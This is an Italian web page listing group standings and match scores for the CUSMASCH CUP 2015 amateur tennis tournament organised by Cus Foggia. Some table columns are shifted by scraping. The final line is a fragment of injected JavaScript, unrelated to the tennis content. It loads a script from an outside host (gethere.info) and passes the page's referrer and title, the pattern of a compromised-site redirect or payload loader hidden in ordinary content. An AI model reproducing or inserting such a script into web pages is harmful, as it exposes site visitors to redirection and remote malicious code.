Di seguito risultati e classifiche aggiornate del torneo di tennis organizzato dal Cus Foggia
CUSMASCH CUP 2015 | |||||||
Calendario Ufficiale Girone A | |||||||
Girone A | PARTITE | SET | |||||
GIOCATORI | PUNTI | G | V | P | SV | SP | DIFF. |
Iammarino Andrea | 9 | 4 | 3 | 1 | 6 | 2 | 4 |
Grazioli Mariano | 8 | 3 | 3 | 6 | 1 | 5 | |
Cerrone Daniele | 8 | 4 | 3 | 1 | 6 | 3 | 3 |
Nardella Francesco | 5 | 4 | 1 | 3 | 4 | 6 | -2 |
Colonnello Michele | 3 | 3 | 1 | 2 | 2 | 4 | -2 |
Scrocchia Massimiliano | 0 | 4 | 4 | 0 | 8 | -8 | |
1^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Iammarino A vs Nardella | 2 a 0 | 6 a 2 | 6 a 4 | ||||
Cerrone vs Colonnello | 2 a 0 | 6 a 3 | 6 a 1 | ||||
Scrocchia vs Grazioli | 0 a 2 | 0 a 6 | 1 a 6 | ||||
2^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Nardella vs Cerrone | 1 a 2 | 6 a 2 | 6 a 7 | 6 a 7 | |||
Grazioli vs Iammarino A | 2 a 0 | 7 a 6 | 6 a 3 | ||||
Colonnello vs Scrocchia | 2 a 0 | 6 a 0 | 6 a 0 | ||||
3^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Grazioli vs Nardella | 2 a 1 | 2 a 6 | 6 a 2 | 7 a 1 | |||
Scrocchia vs Cerrone | 0 a 2 | a tavolino | |||||
Iammarino A vs Colonnello | 2 a 0 | 6 a 2 | 6 a 2 | ||||
4^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Nardella vs Scrocchia | 2 a 0 | 6 a 0 | 6 a 2 | ||||
Colonnello vs Grazioli | |||||||
Cerrone vs Iammarino A | 0 a 2 | 4 a 6 | 3 a 6 |
Girone B | PARTITE | SET | |||||
GIOCATORI | PUNTI | G | V | P | SV | SP | DIFF. |
Iammarino Olindo Franco | 11 | 4 | 4 | 8 | 1 | 7 | |
Ponzio Silvio | 7 | 3 | 2 | 1 | 5 | 2 | 3 |
Merola Alessandro | 4 | 3 | 2 | 1 | 4 | 4 | 0 |
Gramazio Pasquale | 4 | 2 | 1 | 1 | 3 | 2 | 1 |
Guidone Carlo | 3 | 4 | 1 | 3 | 3 | 7 | -4 |
Guerriero Norberto | 1 | 4 | 4 | 1 | 8 | -7 | |
1^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Merola vs Iammarino F | 0 a 2 | 1 a 6 | 1 a 6 | ||||
Guidone vs Gramazio | 2 a 1 | 6 a 2 | 2 a 6 | 7 a 2 | |||
Ponzio vs Guerriero | 2 a 0 | 6 a 1 | 6 a 1 | ||||
2^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Iammarino F vs Guidone | 2 a 0 | 6 a 3 | 6 a 1 | ||||
Guerriero vs Merola | 1 a 2 | 6 a 1 | 0 a 6 | 4 a 7 | |||
Gramazio vs Ponzio | |||||||
3^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Guerriero vs Iammarino F | 0 a 2 | 1 a 6 | 1 a 6 | ||||
Ponzio vs Guidone | 2 a 0 | 6 a 2 | 6 a 1 | ||||
Merola vs Gramazio | |||||||
4^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Iammarino F vs Ponzio | 2 a 1 | 2 a 6 | 6 a 4 | 6 a 7 | |||
Gramazio vs Guerriero | 2 a 0 | 6 a 4 | 6 a 4 | ||||
Guidone vs Merola | 1 a 2 | 1 a 6 | 6 a 1 | 1 a 7 | |||
Girone C | PARTITE | SET | |||||
GIOCATORI | PUNTI | G | V | P | SV | SP | DIFF. |
Tatta Danilo | 12 | 4 | 4 | 8 | 0 | 8 | |
Tedesco Giulio | 8 | 4 | 3 | 1 | 6 | 3 | 3 |
Pitullo Gianmichele | 7 | 4 | 2 | 2 | 5 | 4 | 1 |
Cusmai Andrea | 3 | 4 | 1 | 3 | 3 | 7 | -4 |
De Sabato Antonio | 3 | 4 | 1 | 3 | 3 | 7 | -4 |
Rizzi Antonio | 3 | 4 | 1 | 3 | 3 | 7 | -4 |
1^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
De Sabato vs Tedesco | 0 a 2 | 1 a 6 | 0 a 6 | ||||
Pitullo vs Rizzi | 2 a 0 | 6 a 0 | 6 a 0 | ||||
Tatta vs Cusmai | 2 a 0 | 6 a 1 | 6 a 3 | ||||
2^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Tedesco vs Pitullo | 2 a 1 | 6 a 2 | 3 a 6 | 7 a 6 | |||
Cusmai vs De Sabato | 2 a 1 | 6 a 1 | 1 a 6 | 7 a 2 | |||
Rizzi vs Tatta | 0 a 2 | 0 a 6 | 0 a 6 | ||||
3^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Cusmai vs Tedesco | 0 a 2 | 2 a 6 | 4 a 6 | ||||
Tatta vs Pitullo | 2 a 0 | 6 a 2 | 6 a 2 | ||||
De Sabato vs Rizzi | 2 a 1 | 6 a 3 | 2 a 6 | 7 a 3 | |||
4^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Tedesco vs Tatta | 0 a 2 | 5 a 7 | 2 a 6 | ||||
Rizzi vs Cusmai | 2 a 1 | 5 a 7 | 7 a 5 | 7 a 5 | |||
Pitullo vs De Sabato | 2 a 0 | 6 a 2 | 6 a 3 | ||||
Girone D | PARTITE | SET | |||||
GIOCATORI | PUNTI | G | V | P | SV | SP | DIFF. |
La Porta Andrea | 9 | 3 | 3 | 6 | 0 | 6 | |
Citro Michele | 8 | 3 | 3 | 6 | 1 | 5 | |
Maitilasso Fabio | 4 | 3 | 1 | 2 | 3 | 4 | -1 |
Menga Maria | 0 | 3 | 3 | 0 | 6 | -6 | |
Montuori Costantino | 0 | 2 | 2 | 0 | 4 | -4 | |
1^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Menga vs Maitilasso | 0 a 2 | 2 a 6 | 0 a 6 | ||||
Montuori vs La Porta | 0 a 2 | 1 a 6 | 1 a 6 | ||||
Citro – RIPOSO | |||||||
2^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Maitilasso vs Citro | 1 a 2 | 6 a 7 | 6 a 2 | 4 a 7 | |||
La Porta vs Menga | 2 a 0 | 6 a 1 | 6 a 1 | ||||
Montuori – RIPOSO | |||||||
3^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
La Porta vs Maitilasso | 2 a 0 | 6 a 4 | 7 a 5 | ||||
Montuori vs Citro | 0 a 2 | 1 a 6 | 0 a 6 | ||||
Menga – RIPOSO | |||||||
4^ PARTITA | |||||||
Ris. Finale | 1° set | 2° set | 3° set | ||||
Maitilasso vs Montuori | |||||||
Citro vs Menga | 2 a 0 | 6 a 4 | 6 a 2 | ||||
La Porta – RIPOSO | |||||||
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;